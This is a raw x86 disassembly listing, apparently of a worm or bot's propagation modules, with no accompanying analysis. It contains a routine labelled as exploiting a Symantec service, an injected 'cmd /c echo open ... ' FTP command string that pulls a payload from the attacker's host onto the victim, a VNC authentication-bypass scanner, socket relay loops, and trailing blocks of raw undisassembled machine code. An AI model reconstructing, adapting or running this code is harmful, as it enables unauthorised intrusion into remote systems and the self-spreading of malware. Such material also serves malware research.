var_E74		= byte ptr -0E74h
var_768		= dword	ptr -768h
var_758		= byte ptr -758h
var_744		= byte ptr -744h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_B4		= byte ptr -0B4h
var_B1		= byte ptr -0B1h
var_87		= byte ptr -87h
var_85		= byte ptr -85h
var_84		= byte ptr -84h
var_3C		= byte ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		mov	eax, 89B4h
		call	sub_41C500
		mov	eax, dword_43341C
		push	ebx
		mov	[ebp+var_10], eax
		mov	eax, dword_433420
		mov	[ebp+var_C], eax
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_3C]
		push	offset loc_433410
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		xor	ebx, ebx
		xor	esi, esi
		lea	eax, [ebp+var_103]


loc_40E430:				; CODE XREF: sub_40E3F1+4Ej
		mov	cl, [ebp+esi+var_3C]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, 28h
		jl	short loc_40E430
		push	60h
		lea	eax, [ebp+var_B4]
		push	offset dword_432EA0
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_104]
		push	eax
		lea	eax, [ebp+var_84]
		push	eax
		call	sub_41CD20
		add	esp, 1Ch
		lea	eax, [ebp+var_3C]
		push	9
		push	(offset	aC_0+3)
		push	eax
		call	sub_41B9C0
		pop	ecx
		lea	eax, [ebp+eax*2+var_85]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		add	al, 1Ah
		push	1
		shl	al, 1
		mov	[ebp+var_1], al
		lea	eax, [ebp+var_1]
		push	eax
		lea	eax, [ebp+var_B1]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_41B9C0
		shl	al, 1
		add	al, 9
		push	1
		mov	[ebp+var_2], al
		lea	eax, [ebp+var_2]
		push	eax
		lea	eax, [ebp+var_87]
		push	eax
		call	sub_41CD20
		mov	ax, word_433290
		add	esp, 2Ch
		push	eax
		call	dword_4CB9D4
		xor	eax, 9999h
		push	2
		mov	[ebp+var_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_432BA0
		call	sub_41CD20
		add	esp, 0Ch
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E5ED
		mov	edi, 0DACh
		lea	eax, [ebp+var_1CC4]
		push	edi
		push	90h
		push	eax
		call	sub_41BF70
		mov	eax, [ebp+arg_C0]
		push	4
		imul	eax, 3Ch
		lea	eax, dword_4332D0[eax]
		mov	[ebp+var_14], eax
		push	eax
		lea	eax, [ebp+var_14E0]
		push	eax
		call	sub_41CD20
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_14D0]
		push	esi
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11AC]
		push	offset loc_433408
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_11A8]
		push	[ebp+var_14]
		push	eax
		call	sub_41CD20
		add	esp, 40h
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_119C]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 10h
		xor	esi, esi
		lea	eax, [ebp+var_4803]


loc_40E5A6:				; CODE XREF: sub_40E3F1+1C6j
		mov	cl, [ebp+esi+var_1CC4]
		inc	esi
		mov	[eax-1], cl
		mov	[eax], bl
		inc	eax
		inc	eax
		cmp	esi, edi
		jl	short loc_40E5A6
		mov	esi, 1C52h
		lea	eax, [ebp+var_89B4]
		push	esi
		push	31h
		push	eax
		mov	[ebp+var_2CAC],	bl
		mov	[ebp+var_2CAB],	bl
		call	sub_41BF70
		push	esi
		lea	eax, [ebp+var_68DC]
		push	31h
		push	eax
		call	sub_41BF70
		add	esp, 18h
		jmp	short loc_40E644
; ---------------------------------------------------------------------------


loc_40E5ED:				; CODE XREF: sub_40E3F1+118j
		push	7D0h
		lea	eax, [ebp+var_F14]
		push	90h
		push	eax
		call	sub_41BF70
		mov	esi, offset loc_432AF0
		push	esi
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_E74]
		push	esi
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41B9C0
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_758]
		push	eax
		call	sub_41CD20
		mov	eax, dword_4332D0
		add	esp, 2Ch
		mov	[ebp+var_768], eax


loc_40E644:				; CODE XREF: sub_40E3F1+1FAj
		push	0E29h
		lea	eax, [ebp+var_2CA8]
		push	31h
		push	eax
		call	sub_41BF70
		movsx	eax, [ebp+var_1]
		mov	edi, [ebp+arg_BC]
		add	esp, 0Ch
		add	eax, 4
		push	ebx
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E683


loc_40E67C:				; CODE XREF: sub_40E3F1+2B9j
					; sub_40E3F1+2E0j ...
		xor	al, al
		jmp	loc_40E82B
; ---------------------------------------------------------------------------


loc_40E683:				; CODE XREF: sub_40E3F1+289j
		mov	esi, 640h
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	68h
		push	offset dword_432F04
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0A0h
		push	offset dword_432F70
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		cmp	[ebp+arg_C0], ebx
		jz	loc_40E799
		push	68h
		lea	eax, [ebp+var_89B4]
		push	offset dword_433128
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_4804]
		push	1B5Ah
		push	eax
		lea	eax, [ebp+var_894C]
		push	eax
		call	sub_41CD20
		push	70h
		lea	eax, [ebp+var_68DC]
		push	offset dword_433194
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_3770]
		push	0A5Eh
		push	eax
		lea	eax, [ebp+var_686C]
		push	eax
		call	sub_41CD20
		push	84h
		lea	eax, [ebp+var_5DA8]
		push	offset dword_433208
		push	eax
		call	sub_41CD20
		add	esp, 3Ch
		lea	eax, [ebp+var_89B4]
		push	ebx
		push	10FCh
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	ebx
		lea	eax, [ebp+var_744]
		push	esi
		push	eax
		push	edi
		call	dword_4CB9EC
		push	ebx
		push	0FDCh
		lea	eax, [ebp+var_68DC]
		jmp	short loc_40E7EF
; ---------------------------------------------------------------------------


loc_40E799:				; CODE XREF: sub_40E3F1+2F8j
		push	7Ch
		lea	eax, [ebp+var_2CA8]
		push	offset dword_433014
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_F14]
		push	7D0h
		push	eax
		lea	eax, [ebp+var_2C2C]
		push	eax
		call	sub_41CD20
		push	90h
		lea	eax, [ebp+var_245C]
		push	offset off_433094
		push	eax
		call	sub_41CD20
		add	esp, 24h
		mov	[ebp+var_1FB1],	bl
		lea	eax, [ebp+var_2CA8]
		push	ebx
		push	0CF8h


loc_40E7EF:				; CODE XREF: sub_40E3F1+3A6j
		push	eax
		push	edi
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E67C
		push	12Ch
		call	near ptr 26A044Bh
		nop
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E292
		add	esp, 0BCh
		test	al, al
		setnz	al


loc_40E82B:				; CODE XREF: sub_40E3F1+28Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3F1	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 854h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	10h
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		mov	[ebp-4], edi
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-14h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-10h], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40E929
		lea	eax, [ebp-14h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E929
		push	edi
		push	89h
		push	offset dword_432C88
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		mov	esi, 640h
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0A8h
		push	offset dword_432D14
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		push	edi
		push	0DEh
		push	offset dword_432DC0
		push	ebx
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E929
		push	edi
		lea	eax, [ebp-854h]
		push	esi
		push	eax
		push	ebx
		call	dword_4CB9EC
		movsx	eax, byte ptr [ebp-810h]
		sub	eax, 30h
		jz	short loc_40E933
		dec	eax
		jz	short loc_40E930


loc_40E929:				; CODE XREF: ___:0040E884j
					; ___:0040E89Aj ...
		xor	eax, eax
		jmp	loc_40E9F6
; ---------------------------------------------------------------------------


loc_40E930:				; CODE XREF: ___:0040E927j
		push	edi
		jmp	short loc_40E957
; ---------------------------------------------------------------------------


loc_40E933:				; CODE XREF: ___:0040E924j
		push	2
		push	ebx
		sub	esp, 0BCh
		lea	esi, [ebp+8]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jnz	short loc_40E977
		push	1


loc_40E957:				; CODE XREF: ___:0040E931j
		push	ebx
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E3F1
		add	esp, 0C4h
		test	al, al
		jz	short loc_40E97E


loc_40E977:				; CODE XREF: ___:0040E953j
		mov	dword ptr [ebp-4], 1


loc_40E97E:				; CODE XREF: ___:0040E975j
		push	ebx
		call	dword_4CBA6C
		cmp	dword ptr [ebp-4], 0
		jz	short loc_40E9F3
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-214h]
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-214h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-214h]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 2Ch
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40E9F3:				; CODE XREF: ___:0040E989j
		push	1
		pop	eax


loc_40E9F6:				; CODE XREF: ___:0040E92Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E9FB	proc near		; CODE XREF: sub_40EAE9+91p

var_5A0		= byte ptr -5A0h
var_1A0		= byte ptr -1A0h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+var_10], 2
		push	eax
		call	near ptr 71AB12F8h
		nop
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	near ptr 71AB1746h
		nop
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EAC9
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EAC9
		mov	edi, 400h
		push	esi
		mov	esi, dword_4271FC
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset byte_429108
		push	eax
		push	eax
		push	dword_4CB710
		push	[ebp+arg_0]
		call	sub_40AA06
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+var_1A0]
		push	190h
		push	eax
		call	sub_41C360
		add	esp, 1Ch
		lea	eax, [ebp+var_1A0]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	ebx
		call	near ptr 71AB1AF4h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EACD


loc_40EAC9:				; CODE XREF: sub_40E9FB+50j
					; sub_40E9FB+62j
		xor	eax, eax
		jmp	short loc_40EAE4
; ---------------------------------------------------------------------------


loc_40EACD:				; CODE XREF: sub_40E9FB+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax


loc_40EAE4:				; CODE XREF: sub_40E9FB+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E9FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EAE9	proc near		; CODE XREF: sub_40C3E8+1EAp
					; DATA XREF: ___:off_4317FCo

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4CBA14
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4CB9D4
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	near ptr 71AB3C22h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EB5B
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB3C
		push	esi
		jmp	short loc_40EB55
; ---------------------------------------------------------------------------


loc_40EB3C:				; CODE XREF: sub_40EAE9+4Ej
		push	0
		push	1213h
		push	offset dword_433424
		push	esi
		nop
		call	near ptr 71AB1AF4h
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EB5F


loc_40EB55:				; CODE XREF: sub_40EAE9+51j
		nop
		call	near ptr 71AB1A6Dh


loc_40EB5B:				; CODE XREF: sub_40EAE9+3Cj
		xor	eax, eax
		jmp	short loc_40EBA1
; ---------------------------------------------------------------------------


loc_40EB5F:				; CODE XREF: sub_40EAE9+6Aj
		nop
		call	near ptr 71AB1A6Dh
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E9FB
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EB9E
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_431800[eax]
		lea	eax, dword_431800[eax]


loc_40EB9E:				; CODE XREF: sub_40EAE9+9Ej
		push	1
		pop	eax


loc_40EBA1:				; CODE XREF: sub_40EAE9+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EAE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBA5	proc near		; CODE XREF: ___:0040EC93p
					; ___:0040ECF5p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi


loc_40EBAD:				; CODE XREF: sub_40EBA5+2Dj
		test	edi, edi
		jle	short loc_40EBD8
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jz	short loc_40EBD4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EBD4
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EBAD
; ---------------------------------------------------------------------------


loc_40EBD4:				; CODE XREF: sub_40EBA5+22j
					; sub_40EBA5+27j
		xor	eax, eax
		jmp	short loc_40EBDB
; ---------------------------------------------------------------------------


loc_40EBD8:				; CODE XREF: sub_40EBA5+Aj
		push	1
		pop	eax


loc_40EBDB:				; CODE XREF: sub_40EBA5+31j
		pop	edi
		pop	esi
		retn
sub_40EBA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EBDE	proc near		; CODE XREF: ___:0040ECDFp
					; ___:0040ED0Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC1B
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC15


loc_40EBEE:				; CODE XREF: sub_40EBDE+35j
		mov	eax, edi
		push	0
		sub	eax, esi
		push	eax
		mov	eax, [esp+10h+arg_4]
		add	eax, esi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC1B
		test	eax, eax
		jz	short loc_40EC1B
		add	esi, eax
		cmp	esi, edi
		jl	short loc_40EBEE


loc_40EC15:				; CODE XREF: sub_40EBDE+Ej
		push	1
		pop	eax


loc_40EC18:				; CODE XREF: sub_40EBDE+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40EC1B:				; CODE XREF: sub_40EBDE+8j
					; sub_40EBDE+2Bj ...
		xor	eax, eax
		jmp	short loc_40EC18
sub_40EBDE	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 24Ch
		push	ebx
		mov	ax, word_4346DC
		push	esi
		push	edi
		push	0
		push	1
		push	2
		mov	[ebp-2], ax
		pop	esi
		push	esi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_40EC4D
		push	eax
		jmp	short loc_40EC81
; ---------------------------------------------------------------------------


loc_40EC4D:				; CODE XREF: ___:0040EC48j
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-48h], eax
		mov	[ebp-4Ch], si
		call	dword_4CB9D4
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EC8C
		push	ebx


loc_40EC81:				; CODE XREF: ___:0040EC4Bj
		call	dword_4CBA6C
		jmp	loc_40EE87
; ---------------------------------------------------------------------------


loc_40EC8C:				; CODE XREF: ___:0040EC7Ej
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-20h]
		and	byte ptr [ebp-2Ch], 0
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-38h]
		push	offset aRfb03d_03d ; "RFB %03d.%03d\n"
		push	eax
		call	sub_41CCE3
		add	esp, 10h
		cmp	eax, esi
		jnz	loc_40EE80
		cmp	dword ptr [ebp-28h], 3
		jz	short loc_40ECD8
		cmp	dword ptr [ebp-20h], 8
		jnz	loc_40EE80


loc_40ECD8:				; CODE XREF: ___:0040ECCCj
		lea	eax, [ebp-38h]
		push	0Ch
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-3Ch]
		push	esi
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-2]
		push	1
		push	eax
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-24h]
		push	4
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		mov	eax, [ebp-24h]
		mov	edi, 0FF0000h
		mov	ecx, eax
		mov	edx, eax
		and	ecx, edi
		mov	esi, 0FF00h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, esi
		or	edx, eax
		shr	ecx, 8
		shl	edx, 8
		or	ecx, edx
		mov	[ebp-24h], ecx
		jnz	loc_40EE80
		push	1
		push	offset word_4CB88C
		push	ebx
		call	sub_40EBDE
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		lea	eax, [ebp-1Ch]
		push	18h
		push	eax
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40EE80
		xor	eax, eax
		mov	ecx, [ebp-8]
		mov	al, [ebp-1Bh]
		mov	edx, ecx
		mov	ah, [ebp-1Ch]
		mov	[ebp-1Ch], ax
		xor	eax, eax
		mov	al, [ebp-19h]
		mov	ah, [ebp-1Ah]
		mov	[ebp-1Ah], ax
		xor	eax, eax
		mov	al, [ebp-13h]
		mov	ah, [ebp-14h]
		mov	[ebp-14h], ax
		xor	eax, eax
		mov	al, [ebp-11h]
		mov	ah, [ebp-12h]
		mov	[ebp-12h], ax
		xor	eax, eax
		mov	al, [ebp-0Fh]
		mov	ah, [ebp-10h]
		mov	[ebp-10h], ax
		mov	eax, ecx
		and	eax, edi
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, esi
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp-8], eax
		add	eax, 2
		push	eax
		call	sub_41D9A5
		mov	edi, [ebp-8]
		pop	ecx
		test	edi, edi
		mov	esi, eax
		jle	short loc_40EE10
		push	edi
		push	esi
		push	ebx
		call	sub_40EBA5
		add	esp, 0Ch


loc_40EE10:				; CODE XREF: ___:0040EE03j
		and	byte ptr [edi+esi], 0
		lea	eax, [ebp+0Ch]
		push	eax
		push	esi
		push	dword ptr [ebp-20h]
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp-28h]
		push	offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]"
		push	200h
		push	eax
		call	sub_41C360
		push	0
		lea	eax, [ebp-24Ch]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		lea	eax, [ebp-24Ch]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+0B0h]
		add	esp, 34h
		shl	eax, 6
		inc	dword_431800[eax]
		push	ebx
		lea	eax, dword_431800[eax]
		nop
		call	near ptr 71AB1A6Dh
		push	1
		pop	eax
		jmp	short loc_40EE89
; ---------------------------------------------------------------------------


loc_40EE80:				; CODE XREF: ___:0040EC9Dj
					; ___:0040ECC2j ...
		push	ebx
		nop
		call	near ptr 71AB1A6Dh


loc_40EE87:				; CODE XREF: ___:0040EC87j
		xor	eax, eax


loc_40EE89:				; CODE XREF: ___:0040EE7Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EE97:				; CODE XREF: ___:0040EEB3j
					; ___:0040EECFj
		push	0
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE708
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_40EE97
		lea	ecx, [ebp-4]
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp-404h]
		push	eax
		push	dword_4CE704
		nop
		call	near ptr 2740000h
		jmp	short loc_40EE97
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_40EEDA:				; CODE XREF: ___:0040EF00j
					; ___:0040EF1Aj
		lea	eax, [ebp-4]
		and	dword ptr [ebp-4], 0
		push	0
		push	eax
		lea	eax, [ebp-404h]
		push	400h
		push	eax
		push	dword_4CE6F8
		nop
		call	near ptr 2730000h
		cmp	dword ptr [ebp-4], 0
		jle	short loc_40EEDA
		push	0
		lea	eax, [ebp-404h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword_4CE708
		call	dword_4CBA24
		jmp	short loc_40EEDA
; ---------------------------------------------------------------------------
dword_40EF1C	dd 81EC8B55h, 11CECh, 8458B00h,	6A575653h, 59F08B28h, 0FEE4BD8Dh
					; DATA XREF: sub_401ACD+2CCAo
		dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h
		dd 21E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh
		dd 15FFFFFFh, 4CB9D4h, 6A56066Ah, 45896602h, 5415FFCAh
		dd 89004CBAh, 458D0845h, 50106AC8h, 0FF0875FFh,	4CBA0015h
		dd 0FF056A00h, 15FF0875h, 4CB9FCh, 71081D8Bh, 358B0042h
		dd 427070h, 75FF5757h, 6815FF08h, 0A3004CBAh, 4CE708h
		dd 57F4458Dh, 0E7046850h, 68004Ch, 0C7004CE7h, 0CF445h
		dd 45C70000h, 1FCh, 0F87D8900h,	458DD3FFh, 685057F4h, 4CE6FCh
		dd 4CE6F868h, 6AD3FF00h, 84458D44h, 85E85057h, 0A10000CFh
		dd 4CE700h, 890CC483h, 0FCA1BC45h, 89004CE6h, 6A57C045h
		dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h
		dd 7D896600h, 17CCE8B4h, 50900234h, 0E6FC35FFh,	0E890004Ch
		dd 23417BEh, 12FEE850h,	8D900234h, 8D50D845h, 57508445h
		dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 4346E068h
		dd 0E8905700h, 22711F6h, 50E8458Dh, 0D1685757h,	8D0040EEh
		dd 5057F445h, 143DE890h, 45890229h, 0E8458DECh,	68575750h
		dd 40EE8Eh, 57F4458Dh, 1425E850h, 6A900229h, 0F04589FFh
		dd 90D875FFh, 2A1585E8h, 75FF5702h, 81E890F0h, 57022A1Ch
		dd 90EC75FFh, 2A1C77E8h, 0F075FF02h, 75FFD6FFh,	57D6FFECh
		dd 90D875FFh, 3411B8E8h, 35FF02h, 0FF004CE7h, 435FFD6h
		dd 0FF004CE7h, 0F835FFD6h, 0FF004CE6h, 0FC35FFD6h, 0FF004CE6h
		dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h
		dd 0FFFE6800h, 680000h,	0E8000004h, 9AD1h, 0E710A359h
		dd 0C359004Ch
dword_40F108	dd 81EC8B55h, 6C0ECh, 8458B00h,	6A575653h, 59F08B27h, 0FF50BD8Dh
					; DATA XREF: sub_40BD91+34Do
		dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h
		dd 35E85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh
		dd 15FFFFFFh, 4CB9D4h, 26A5653h, 0EE458966h, 0FFF05D89h
		dd 4CBA5415h, 83F88B00h, 0FE3BFFCEh, 5D394575h,	532075E4h
		dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h
		dd 0E8FFFFFFh, 0FFFFA6DDh, 8D14C483h, 0FFFD4085h, 9DE850FFh
		dd 0FF00006Bh, 0FFFF54B5h, 0C530E8FFh, 5959FFFFh, 51E89053h
		dd 8B022F0Eh, 0FFFF5485h, 69106AFFh, 234C0h, 1CB88900h
		dd 8D0043E9h, 5750EC45h, 0BA0015FFh, 0C63B004Ch, 400BBh
		dd 0CF850F00h, 0FF000000h, 4CB96815h, 27403D00h, 47740000h
		dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh,	858D50E0h
		dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFA65Dh, 8D14C483h
		dd 0FFFD4085h, 1DE850FFh, 0FF00006Bh, 0FFFF54B5h, 0C4B0E8FFh
